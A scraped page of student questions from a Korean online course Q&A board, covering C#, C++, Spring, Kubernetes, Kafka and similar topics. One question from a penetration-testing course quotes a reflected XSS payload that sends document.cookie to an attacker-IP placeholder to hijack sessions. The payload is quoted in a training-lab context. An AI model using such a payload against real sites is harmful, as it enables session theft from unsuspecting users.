묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결[C#과 유니티로 만드는 MMORPG 게임 개발 시리즈] Part4: 게임 서버
Environment.Tickcount 오버플로우 질문이에요
public void Push(Action action, int tickAfter = 0) { JobTimerElem job; job.execTick = System.Environment.TickCount + tickAfter; job.action = action; lock (_lock) { _pq.Push(job); } } public void Flush() { while (true) { int now = System.Environment.TickCount; JobTimerElem job; lock (_lock) { if (_pq.Count == 0) break; job = _pq.Peek(); if (job.execTick > now) break; _pq.Pop(); } job.action.Invoke(); } }만약 현재 TickCount가 int.maxvalue에 근사한 값이라면 job.execTick이 오버플로우가 일어나 현재 시간보다 무조건 낮기 때문에 바로 실행되는 문제가 있을 것 같습니다. 제 생각이 맞을까요?
-
해결됨카프카 완벽 가이드 - 코어편
만약에 동시에 브로커 서버가 주키퍼한테 리더를 요청하면 누가 리더가 되나요?
쿠버네티스 ETCD는 RAFT 알고리즘에 의해 결정되는데카프카에서도 이런 알고리즘이 존재하는지 궁금합니다.
-
미해결대세는 쿠버네티스 (초급~중급편)
Env(File) terminal로 container root-master에서 kubectl not found 에러
Env(File) terminal로 container root-master에서 kubectl not found 메세지가 나오는데, master 터미널 모드에서 kubectl을 어떻게 설치 해야 하는지 알려 주시기 바랍니다.
-
해결됨스프링 입문 - 코드로 배우는 스프링 부트, 웹 MVC, DB 접근 기술
@RequestParam("name")
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오)2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오)3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오)[질문 내용]여기에 질문 내용을 남겨주세요.MVC 강의를 듣다가 궁금한 부분이 생겨서 질문남깁니다.public String helloMvc(@RequestParam("name") String name, Model model) 에서 @RequestParam("name")를 없애고 서버를 켰습니다. 그랫더니이렇게 화면이 나오는데요. @RequestParam("name")가 없어도 파라미터를 잘 넘겨받는 것 처럼 보이는데, 이게 왜 필요한 건가요? 단순히 requried=true를 강제하기 위해 사용하는 건가요?
-
미해결[신규 개정판] 이것이 진짜 크롤링이다 - 실전편 (인공지능 수익화)
첫페이지 크롤링 실행이 안됩니다.
import requests from bs4 import BeautifulSoup main_url = "https://www.coupang.com/np/search?q=%EA%B2%8C%EC%9D%B4%EB%B0%8D%20%EB%A7%88%EC%9A%B0%EC%8A%A4&channel=recent" # 헤더에 User-Agent를 추가하지 않으면 오류가 남 response = requests.get(main_url,headers={'User-Agent' : 'Mozila/5.0'}) html = response.text soup = BeautifulSoup(html,'html.parser') links = soup.select("a.search-product-link") # select의 결과는 리스트 자료형(여러개) print(links)
-
미해결모의해킹 실무자가 알려주는, XSS 공격 기법
[실습6-3] REFLECTED XSS를 통한 세션 하이재킹 공격 실습 공격 실패
<script>new image().src='">http://제아이피/xss_attack/session.php?data='+document.cookie</script>location.href 스크립트는 성공했는데했는데 new image().src는 세션값이 안넘어 옵니다...혹시 자바1.8.0버전과 관련있을까요??
-
미해결[C++과 언리얼로 만드는 MMORPG 게임 개발 시리즈] Part1: C++ 프로그래밍 입문
find_if와 같이 함수 객체를 인자로 넣는 곳 질문 있습니다
class와 struct는 차이가 거의 없다고 하셨는데 find_if(v.begin(), v.end(), CanDivideBy11()); 와 같이 함수 객체를 인자로 넣는 부분에서 만약 struct가 아니고 class를 사용한다면 생성자를 넣는 문법이랑 똑같은거 아닌가요?struct가 아닌 class를 사용한다면 생성자가 아닌 연산자 오버로딩을 통한 함수 객체를 부르는 것이라고 어떻게 구분해야 하나요?
-
미해결[개정판] 파이썬 머신러닝 완벽 가이드
의사결정나무 강의 관련 질문
안녕하세요 선생님의사결정나무를 배우고 한번 다른 데이터에서도 실습을 해보고 싶어서 해보는데 오류가 나와서 질문이 있습니다iris_data 같은 경우는 변수의 속성들이 연속형변수인데변수들이 만약에 알파벳같이 string 타입이면 분류가 불가능한가요?오류가 나서 질문드립니다
-
미해결프로그래밍 시작하기 : 파이썬 입문 (Inflearn Original)
안녕하세요
안녕하세요 강의자료 요청드립니다!! kiby1039@hanmail.net 감사합니다!!
-
미해결Jenkins를 이용한 CI/CD Pipeline 구축
Window Host에 SSH Connection Refused
비슷한 질문이 있는것 같은데..답이 확인되지 않아 재 문의드립니다.Windows10 기반에 도커데스크탑 설치해서 수업듣고 있는데요. Ansible 에서 kubernetes 제어하기 강의 관련, Ansible Container에서 Window Host로 SSH 접속시 계속 Connection Error 가 발생합니다. [root@ab43a5323c31 ~]# ssh xx@172.30.1.86ssh: connect to host 172.30.1.86 port 22: Connection refused window에 ssh 허용을 위한 추가 설정 같은게 필요할것 같은데..검색해도 잘 안나와서 문의드려봅니다.
-
해결됨홍정모의 따라하며 배우는 C++
Buffer overrun 관련해서 질문드립니다!
안녕하세요! 항상 양질의 강의와 질문 커뮤니티 덕분에 많이 배우고 있습니다!강의에 나온 클래스를 직접 구현해봤는데요, 생성자 코드에서 m_data element를 초기화하는 과정에서 buffer overrun이 발생합니다.IntArray(const initializer_list<int>& list) //: IntArray(list.size()) { m_data = new int[list.size()]; m_length = list.size(); initialize(); int count = 0; for (auto& e : list) { m_data[count] = e; // buffer overrun 발생 count++; } }그래서 다른 분의 코드를 참고하여 다음과 같이 수정하였습니다.IntArray(const initializer_list<int>& list) : IntArray(list.size()) { /*m_data = new int[list.size()]; m_length = list.size(); initialize();*/ int count = 0; for (auto& e : list) { m_data[count] = e; // buffer overrun 발생 count++; } } 수정 후 buffer overrun이 사라졌는데 debugger를 돌려도 똑같이 작동하는 거 같아 어디서 잘못됐는지 찾기가 어렵습니다ㅠㅠ그 이유를 알고싶습니다,,아래는 전체 코드입니다.#include <iostream> #include <initializer_list> using namespace std; class IntArray { private: int m_length = 0; int* m_data = nullptr; public: IntArray(const int& length_in = 0) : m_length(length_in) { m_data = new int[m_length]; initialize(); } IntArray(const IntArray& arr) : IntArray(arr.m_length) {} IntArray(const initializer_list<int>& list) //: IntArray(list.size()) { m_data = new int[list.size()]; m_length = list.size(); initialize(); int count = 0; for (auto& e : list) { m_data[count++] = e; // buffer overrun 발생 } } ~IntArray() { delete[] m_data; } void initialize() { for (int i = 0; i < m_length; i++) m_data[i] = 0; } void reset() { delete[] m_data; m_data = nullptr; m_length = 0; } void resize(const int& new_length) { int* temp = new int[new_length]; for (int i = 0; i < (new_length < m_length ? new_length : m_length); i++) temp[i] = m_data[i]; delete[] m_data; m_length = new_length; m_data = temp; } void insertBefore(const int& value, const int& ix) { if (ix >= 0 && ix < m_length) { resize(m_length + 1); for (int i = m_length - 1; i > ix; i--) m_data[i] = m_data[i - 1]; m_data[ix] = value; } else cout << "Invalid index" << endl; } void remove(const int& ix) { if (ix >= 0 && ix < m_length) { for (int i = ix; i < m_length - 1; i++) m_data[i] = m_data[i + 1]; resize(m_length - 1); } else cout << "Invalid index." << endl; } void push_back(const int& value) { resize(m_length + 1); m_data[m_length - 1] = value; } IntArray& operator = (const std::initializer_list<int>& list) { resize(list.size()); int count = 0; for (auto& e : list) { m_data[count] = e; count++; } return *this; } IntArray& operator = (const IntArray& arr) { if (this == &arr) return *this; delete[] m_data; m_length = arr.m_length; if (arr.m_data != nullptr) { m_data = new int[arr.m_length]; for (int i = 0; i < arr.m_length; i++) m_data[i] = arr.m_data[i]; } else m_data = nullptr; return *this; } friend ostream& operator << (ostream& out, const IntArray& arr) { for (int i = 0; i < arr.m_length; i++) out << arr.m_data[i] << " "; return out; } }; int main() { IntArray my_arr{ 1, 3, 5, 7, 9 }; cout << my_arr << endl; my_arr.insertBefore(10, 1); cout << my_arr << endl; my_arr.remove(3); cout << my_arr << endl; my_arr.push_back(13); cout << my_arr << endl; // containter : ~가 ~의 member다. return 0; }
-
미해결[리뉴얼] 타입스크립트 올인원 : Part1. 기본 문법편
custom filter 메서드 구현부분에 궁금점이 생겨 질문드립니다
interface customArray<T>{ filter<S extends T>(callback:(v:T, index: number, array:T[]) => v is S): S[] } const sample1: customArray<string> = ["1", "2"] const value = sample1.filter((value, index): value is string => Number(value) > 1)강의에서 구현하신 custom filter는 custom type guard로 별도 리턴 분기처리를 하지않았는데 어떻게 true 케이스들만 필터링 할수 있는지 궁금합니다.저의 개인적인 생각은 callback의 반환값으로 value is string 를 반환하는데 위의 케이스를 바탕으로 value는 string 형식이기 때문에 true가 됩니다때문에 callback 메서드 수행시 false 반환값은 무시되고 true 반환값들만 리턴된다라고 추측이되는데 이 추측이 맞는지 궁금합니다
-
미해결[코드팩토리] [초급] Flutter 3.0 앱 개발 - 10개의 프로젝트로 오늘 초보 탈출!
info.plist 파일을 열었을 때 경로메세지?가 뜨는데 무시해도 되는걸까요?
- 강의 명 : Mac 세팅하기- 문제 점 : info.plist 파일을 열었을 때 경로메세지?가 뜨는데 그냥 무시하고 넘어가도 될지 아니면 뭘 해야하는지 궁금해용
-
미해결Spring Cloud로 개발하는 마이크로서비스 애플리케이션(MSA)
date 관련 에러입니다.
@ColumnDefault(value = "CURRENT_TIMESTAMP")현재 Order을 주입할때 자동으로 date가 생성이 안됩니다.{ "productId": "CATALOG-001", "qty": 10, "unitPrice": 1500, "totalPrice": 15000, "createdAt": null, "orderId": "e2672367-43bb-48bf-955f-d38917979c11" }server: port: 0 spring: application: name: order-service h2: console: enabled: true settings: web-allow-others: true path: /h2-console jpa: hibernate: ddl-auto: update show-sql: true generate-ddl: true defer-datasource-initialization: true datasource: url: jdbc:h2:mem:testdb driver-class-name: org.h2.Driver eureka: instance: instance-id: ${spring.application.name}:${spring.application.instance_id:${random.value}} client: register-with-eureka: true fetch-registry: true service-url: defaultZone: http://localhost:8761/eureka logging: level: com.example.orderservice: DEBUG
-
미해결UIKit - iOS14 실무 가이드 <iOS앱 진짜 개발자 되기>
extension UIColor
extension UIColor jump to definition가 안되는데xcode version 13.4.1에서는 안되는건가요?그대로 했는데 "?"만 뜨고 들어가지지 않습니다...
-
미해결설계독학맛비's 실전 Verilog HDL Season 1 (Clock부터 Internal Memory까지)
fsm_counter
맛비님 강의 잘 듣고 있습니다. fsm으로 counter모듈을 제어하는 실습을 따라해보면서 시뮬레이션을 확인했는데,코드를 그대로 시뮬레이션을 돌렸는데<그림 1. 문제상황 (확대)>다음과 같은 상황이 발생합니다.<그림2. 문제상황 (축소)>그림2는 위 그림1을 축소한 모습입니다. 보시는 바와 같이 i_run값도 정상동작하고 reset_n값이 변경되는 것도 정상인데 왜 cnt_always값에 파형이 찍히지 않는 것일까요? 그래서 이를 어쩌면 좋지... 하다가 testbench 코드를 복붙해서 0~99 이후 한번더 0~99가 잘 되는지 test해보았습니다.그랬더니 놀랍게도 파형이 보이더라구요.. 이로써 코드문제가 아님을 확인했습니다. (당연히 아닐거라고 생각했지만...)<그림3. 두번째 상황 정상파형 확인 (축소)>이런식으로 두번째 reset_n값과 i_run 값을 준 상태에서는 0부터 1 2 3 4 ... 99 까지 작동하는 것을 확인할 수 있었습니다.<그림4. 두번째 상황 정상파형 확인 (확대)> Q. 왜 위와 같은 상황이 발생하는 것일까요?.. 왜 77부터 시작하는것일까요? , code문제가 아님에도 이렇게 동작하는 이유가 있는걸까요? 궁금한데 혹시 맛비님은 이유를 알고 계실까요..ㅠㅠ
-
해결됨비전공자를 위한 풀스택 맛집지도 만들기 프로젝트!: Front, Back-end 그리고 배포까지
aws EC2 인스턴스 시작할 때 맥북도 인강 그대로 따라하면 될까요?
AWS EC@ 인스턴스 임대 부분을 듣고 있습니다. 맥북 프로 M1을 쓰고 있습니다. aws 로그인하고 AMI 선택하는데 인강하고 똑같이 우분투 18.04 선택하면 되나요?아키텍쳐는 64비트 (x86)으로요. 컴퓨터 지식이 없어서 맥북도 똑같이 따라하면 되는지 질문합니다.
-
미해결Vue.js 중급 강좌 - 웹앱 제작으로 배워보는 Vue.js, ES6, Vuex
권한요청드립니다!
github에서 권한요청 드렸고, 추가해주셨다고 했는데 아직도 들어가면 404에러가 떠서 다시한번 요청드립니다! 인프런 아이디 : sinyoungbin0128@gmail.com인프런 이메일 : sinyoungbin0128@gmail.com깃헙 아이디 : sinyoungbin0128@gmail.com깃헙 Username : youngbin03
-
미해결스프링 핵심 원리 - 기본편
도메인이라는게 정확히 무엇인가요 ??
여기서 말하는 도메인과, 나중에 package로 만드는 domain은 같은 의미인가요 ??? 도메인이 정확히 무엇인지 안와닿아서 알려주시면 감사하겠습니다 !
-
해결됨
테스트가 안됩니다 @SpringBootConfiguration, you need to use @ContextConfiguration or @SpringBootTest(classes=...) with your test
안녕하세요 강의 잘 듣고 있습니다. 실전 Querydsl에서 설정 후 테스트 중 테스트가 잘 안되서 질문 드립니다.package study.querydsl; import com.querydsl.jpa.impl.JPAQueryFactory; import org.assertj.core.api.Assertions; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.annotation.Commit; import org.springframework.transaction.annotation.Transactional; import study.querydsl.entity.Hello; import study.querydsl.entity.QHello; import javax.persistence.EntityManager; @SpringBootTest @Transactional class QuerydslApplicationTests { @Autowired EntityManager em; @Test void contextLoads() { Hello hello = new Hello(); em.persist(hello); JPAQueryFactory query = new JPAQueryFactory(em); QHello qHello = QHello.hello; //Querydsl Q타입 동작 확인 Hello result = query .selectFrom(qHello) .fetchOne(); Assertions.assertThat(result).isEqualTo(hello); //lombok 동작 확인 (hello.getId()) Assertions.assertThat(result.getId()).isEqualTo(hello.getId()); } } --오류메세지--java.lang.IllegalStateException: Unable to find a @SpringBootConfiguration, you need to use @ContextConfiguration or @SpringBootTest(classes=...) with your test at org.springframework.util.Assert.state(Assert.java:76) 테스트 코드와 실제 코드 디렉토리때문인가 해서 @SpringBootTest(classes=Hello.class) 로 실행하면em bean관련 오류코드가 뜹니다..org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'study.querydsl.QuerydslApplicationTests': Unsatisfied dependency expressed through field 'em'; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type 'javax.persistence.EntityManager' available: expected at least 1 bean which qualifies as autowire candidate. Dependency annotations: {@org.springframework.beans.factory.annotation.Autowired(required=true)}